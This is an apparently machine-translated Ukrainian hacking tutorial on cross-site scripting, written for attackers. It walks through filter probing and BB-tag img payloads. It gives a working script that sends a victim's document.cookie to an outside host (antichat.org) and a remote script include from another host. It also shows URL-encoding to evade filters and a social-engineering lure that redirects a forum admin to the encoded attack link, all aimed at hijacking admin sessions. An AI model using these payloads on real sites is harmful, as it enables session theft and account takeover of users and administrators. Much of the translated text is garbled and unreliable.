Опис Xss від A до Я.



  • Xss це Css => Cross Site Scripting
  • Як використовують XSS
  • Що таке XSS-атака?
  • Що таке пасивні і активні XSS?
  • Отже, перейду конкретно до того, як знайти в даному сайті XSS.
  • А як визначити є фільтр чи ні?
  • активні XSS
  • Ми весь час робили коди типу
  • Як його підставити до посиланню з Xss?


  • Xss це Css => Cross Site Scripting

    Щоб не плутати з CSS також назвиают XSS
    Вперше цей ПАГ з'явився в 1997.



    Як використовують XSS.


    Для початку нам потрібно знати що таке Cookie.
    Якщо ви знаєте, можете пропустити.

    Cookie служать для збереження облікових даних сайту на комп'ютері відвідувач.
    Якщо ви зареєструвалися на сайті під ніком 'blabluble', то сайт зберіг у вас на комп'ютері файл з cookies, де закодовані ваші дані.
    А якщо ви є адмін і у вас є доступ до сайту, а я - юзер, який вкрав у вас (адміна) cookies, то я можу спокійно зайти на сайт, і сайт мене визначає як 'admin' - у мене будуть адміністраторські права.

    Для зміни (підстановки вкрадених) кук раджу используваемих прогу CookieEdit для IE або вбудовані функції в Опері і Фаерфокс.

    Щоб перехопити cookies треба знайти місце на сайті, де можна виконати XSS-атаку.


    Що таке XSS-атака?


    XSS атаки - це атаки не на сам сайт, а на користувачів сайту.
    XSS - це недоробка у фільтрі, додатку.

    Бувають пасивні XSS і активні XSS.

    Що таке пасивні і активні XSS?


    Пасивні - це Xss, які вимагають від жертви безпосередньої участі + є специфічні обмеження і складності.
    Тому, пасивні XSS не надто цінуються.
    Наприклад, потрібно змусити її пройти по отруйної посиланню, що потребують соціальної інженерії, хитрості.

    Активні - це XSS, які, не вимагають ніяких додаткових дій з боку жертви - їй достатньо лише відкрити сторінку з вашим XSS та ява-код виконається автоматично.
    Завдяки своїй автоматизированности - вони дуже корисні і цінні.
    Наприклад, активні ХСС існують в BB-тегах через недостатню фільтрації, коли ви залишаєте повідомлення на форумі \ Книзі відгуків \ чаті, яке буде завжди активний при кожному оновленні.




    Отже, перейду конкретно до того, як знайти в даному сайті XSS.


    Як я раніше вже писав що XSS складається з тегів, вони ж складаються з html, і javascript мови =).

    Javascript можна вписувати в html.
    Можна кодувати, щоб обійти фільтри. Але про це пізніше.

    Як дізнатися, що XSS на даному сайті проходить?
    Жахлива распрастраннёная узявімость типу
    <script> alert () </ script> Намагаємося вставити в усі різні поля цей скрипт ... якщо вийшло повідомлення значить скрипт обробився і виконався.

    Сама распостраненая XSS (наблюдаеться у всіх місцях де погана фільтрація):

    "> <script> alert () </ script>

    Вся суть в ">.

    Давайте подумаємо, що ми робимо, коли вводимо в поле "> <script> alert () </ script>, що відбувається?

    Ми вводимо в форму "> <script> alert () </ script> якийсь змінної прісваіваеться значення поля. Мінлива обробляється,"> виполняеться, закриває

    скрипт і випролняет <script> alert () </ script>

    Ця XSS сама распостраненая в пошукових системах:

    Переглядаємо всі поля сайту і намагаємося вставити "> <script> alert () </ script>
    Якщо вийшло повідомлення - ви знайшли XSS ...




    А як визначити є фільтр чи ні?


    Просто в будь-яке поле вводимо: '';! - "<########> = & {()}
    Далі відкриваємо html сторінку і шукаємо слово "########"
    і дивись наступні сиволов ..

    Якщо <> так і залишилися то це первай ознака вразливості - значить фільтр має дірку.
    Якщо, " '\ символи залишилися такими, як були введені - це друга ознака вразливості - можливі додаткові символи до подальшої XSS атаки.
    Потім, якщо відкривши HTML, ви не виявили <> то швидше за все дірка у фільтрі.
    Якщо відкривши HTML ви виявили, що <> замінені на інші символи, то це облом - фільтр по крайней
    мірою функціонує нормально.
    Можливо ще ввести в поле для перевірки фільтрації ось так: "> <> '" `, / \? @%

    Розглянемо випадок якщо фільтр з'їдає <>

    У цьому випадку існує ймовірність дірки.
    Приміром, у фільтра умова з'їдати <script>, <> і.
    Тоді пробуємо <zxcvb script: alert ();

    Фільтр дивиться, що нічого небезпечного в <IMG% 20SRC = "java script: alert (); немає, закриває і тим самим
    виконуючи скрипт.

    Ще звичайно якщо фільтр не фільтрує різні кодування то можна спробувати закодувати скрипт і вставити код.

    Все треба намагатися методом проб і помилок шукати ...
    Намагатися вводити в поля і уважно переглядати що ми отримали від фільтра.
    Методом тиков зрозуміти, як фільтр працює, чи є у нього недоробки.
    Якщо фільтр поганий, ми завжди можемо вставити скрипти.




    активні XSS


    Тут треба використовувати дозволені теги і прекриваясь ними, треба виконати запит.

    Наприклад, теги url, bb, img.
    Весь сенс вставки полягає в тому, що нам треба вмонтувати запит в паріметр img або url. У Img є багато парметр крім src і alt.
    Цей баг дуже часто використовується на форумі, в Книгу відгуків ...

    Розглянемо активні XSS.

    Попередження !!!

    Теги [fon * t], [im * g], [ur * l] пішутса з * для того, штоб вони не зливалися з кодом сайту.
    Для іспользуванія цих тегів видаліть *.

    Приміром переглянемо форум на наявність використання тегів [fon * t], [im * g], [ur * l] і спробувати вставити в них скрипт або комбінувати їх .:

    [im * g] httр: //www.qwewqw.ru/1.jpg [/ im * g] Виходить хрестик ... значить img використовується і ми його підібрали (просто справа в тому, що буває img включений, а адміни з створення електронного листа, прибирають, мовляв картинки вставляти не можна і буває він у використанні
    різної форми) якщо хрестика немає ... а висить усього напис, то спробуйте ще так:
    [im * g src = httр: //www.qwewqw.ru/1.jpg]

    Ну так от приміром ми домоглися хрестика цим:
    [im * g] httр: //www.qweqw.ru/1.jpg [/ im * g]

    Перевіримо чи тримає фільтр пробіл, додаємо пробіл після розширення jpg:
    [im * g] httр: //www.qweqw.ru/1.jpg [/ im * g]
    якщо хрестик є - тоді все ОК.

    Далі існують у img параметри dynsrc і lowsrc які тримають яваскрипт. Намагаємося наприклад вставити:
    [im * g] http://www.qwewqw.ru/1.jpg dynsrc = java script: alert () [/ im * g]
    перевіряємо, відсилаємо - з'явитися повідомлення - значить знайшли активну XSS і замість alert () можете вставити будь-який скрипт.

    Якщо фільтр не здався спробуйте так:
    [im * g] http://www.qweqw.ru/ "/ dynsrc =" java script: alert () "/ 1.jpg [/ im * g]
    і
    [im * g] http://www.qwewqw.ru/ "/ dynsrc = java script: alert () / 1.jpg [/ im * g]

    Якщо з наведених прикладів вийшов хрестик, то httр: //www.qweqw.ru/1.jpg замінюємо на адресу сніффер.

    Бувають випадки, коли jpg відключений адміном.




    Ми весь час робили коди типу:


    <script>alert('HakNet')</script>
    java script:alert('HakNet')
    java script:alert('HakNet')/1.jpg и так далие..
    Але вони ніякої користі не принесли, це просто коди для перевірки (тестіровкі) на Xss.

    Ось скрипт:
    <script>
    img = new Image();
    img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
    </script>
    Він вже краде кукі =)




    Як його підставити до посиланню з Xss?


    Так дуже легко ...
    Є несколко варіантів:

    - 1) робимо ось так:
    http://*****.ru/free?p='><script>img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</script> де **** сайт з Xss.

    Ось сам складання скрипт:
    '><script>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</script>
    - 2) Можна ще робити ось так:
    http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script> де обращаетса до http: // haknet .h16.ru / script / js.js

    а в js.js є:
    img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie; цей спосіб більш надійний.

    Але як я вже писав - іноді бувають труднощі з фільтрами на сайті (НЕ прокатує наш скрипт).
    Тоді потрібно подумати, як його обійти.
    Можна просто щось додати, щось поміняти, або видалити в скрипті.
    Але є більш надійним варіант, коли ми просто закодируем скрипт. Для цього є багато прог.
    Є такий сайт як http://ha.ckers.org/xss.html (кодировщик-декодіровщік).

    Ось приклад:
    %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
    це був закодований:

    http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
    - 3) Особливо шифрування необхідно не тільки для обману фільтрів, але і для обману адмін при використанні пасивної ХСС.

    Ось такий приклад на основі соціальної інженерії.
    Шукаємо контакт з адміном форуму кидаємо в форумі йому лінк на свій сайт, і говориш типу так "кльова фіча є на сайті" і так дале в тому ж дусі.
    А на нашому сайті буде як ви вже здогадалися =) вот ето скрипт:

    <script language="JavaScript">
    document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
    </script>

    Що робить document.location.href ви запитаєте мене? )) .. Це ява-код, який без запиту переходить на вказаній сайт Так чо ж у нас виходить, дали ми лінк адміну, і він зайшов на наш сайт, ось що робиться .. його швидко кидає на

    %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E а це вже і є наш Xss в зашифрованими вигляді.

    Примітка: це подіє тільки тоді, коли Xss буде належати адміну сайту якому ви кинули лінк ...
    Іншими словами труднощі пасивної ХСС полягає в тому, що вразливість може бути використана ТІЛЬКИ, якщо жертва авторизовані на уразливому сайті !!!